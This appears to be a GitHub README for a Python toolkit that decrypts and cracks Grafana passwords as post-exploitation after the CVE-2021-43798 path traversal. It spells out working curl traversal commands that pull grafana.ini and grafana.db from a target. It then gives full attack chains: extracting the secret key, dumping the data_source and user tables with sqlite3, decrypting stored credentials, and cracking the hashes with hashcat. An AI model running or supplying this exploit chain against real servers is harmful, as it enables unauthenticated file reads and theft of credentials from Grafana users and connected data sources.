Grafana Password Decryptor

Python toolkit for decrypting and cracking Grafana passwords from multiple formats.

Coded by: strikoder

What Does This Tool Do?

Handles two types of Grafana password storage:

• 🔐 AES-256 Base64 (data_source table) → Decrypt directly with AESDecrypt.py
• 🔨 PBKDF2_HMAC_SHA256 (user table) → Convert for Hashcat with grafana2hashcat.py

Perfect for post-exploitation after CVE-2021-43798 path traversal.

What is CVE-2021-43798?

A path traversal vulnerability in Grafana versions 8.0.0-beta1 through 8.3.0 that allows unauthenticated attackers to read arbitrary files from the server, including:

• Configuration files (/etc/grafana/grafana.ini)
• Database files (/var/lib/grafana/grafana.db)
• System files (/etc/passwd)

Example exploit:

curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is --output grafana.db

This toolkit completes the attack chain by decrypting/cracking the passwords you extract from the database.

Tools Included

1. AESDecrypt.py

Decrypts AES-256 encrypted passwords from the data_source table.

Based on: jas502n/Grafana-CVE-2021-43798 with key improvements:

• ✅ Flexible Secret Key: Extract key manually (no hardcoded paths)
• ✅ Batch Processing: Decrypt multiple hashes from a file
• ✅ Fully Configurable: All parameters via CLI flags

2. grafana2hashcat.py

Converts Grafana PBKDF2_HMAC_SHA256 hashes from the user table to Hashcat-compatible format for password cracking.

Credit: iamaldi/grafana2hashcat

Installation

git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #for Decyrption
chmod +x AESDecrypt.py grafana2hashcat.py

Usage

Tool 1: AESDecrypt.py (for AES-256 Base64 passwords)

Decrypt Single Hash

python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

Decrypt Multiple Hashes

python3 AESDecrypt.py -f hashes.txt

Using Custom Secret Key

Extract the secret key from Grafana config:

curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key

python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY

Tool 2: grafana2hashcat.py (for PBKDF2 hashes)

Convert Single Hash File

python3 grafana2hashcat.py grafana_hashes.txt

Input format (grafana_hashes.txt):

hash1,salt1
hash2,salt2
hash3,salt3

Output (ready for Hashcat):

sha256:10000:base64_salt:base64_hash

Save to File

python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt

Crack with Hashcat

hashcat -m 10900 hashcat_hashes.txt wordlist.txt

---

Full Exploitation Example

Scenario 1: AES-Encrypted Passwords (data_source table)

# 1. Extract secret key from grafana.ini (might be empty in some cases, use default key in python program in that case)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
  --path-as-is | grep secret_key

# 2. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is -o grafana.db

# 3. Extract AES-encrypted passwords from data_source table
sqlite3 grafana.db "SELECT name, password FROM data_source;"

# 4. Save passwords to file (one per line)
# Example: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

# 5. Decrypt with extracted secret key
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]

Scenario 2: PBKDF2 Hashes (user table)

# 0. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is -o grafana.db

# 1. Extract PBKDF2 password hashes from user table
sqlite3 grafana.db "SELECT login, password, salt FROM user;"

# 2. Format hashes for grafana2hashcat (hash,salt format)
# Example format in grafana_hashes.txt:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper

# 3. Convert to Hashcat format
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt

# 4. Crack with Hashcat (mode 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt

Quick Reference: Which Tool to Use?

Password Type	Database Table	Format	Tool	Hashcat Mode
AES-256 Encrypted	data_source	Base64 string	AESDecrypt.py	N/A (direct decrypt)
PBKDF2_HMAC_SHA256	user	Hex hash + salt	grafana2hashcat.py	-m 10900

Credits

• AESDecrypt.py: Coded by strikoder, based on jas502n's Go implementation
• grafana2hashcat.py: Created by iamaldi

---

⭐ Found this useful? Give it a star!

Coded by strikoder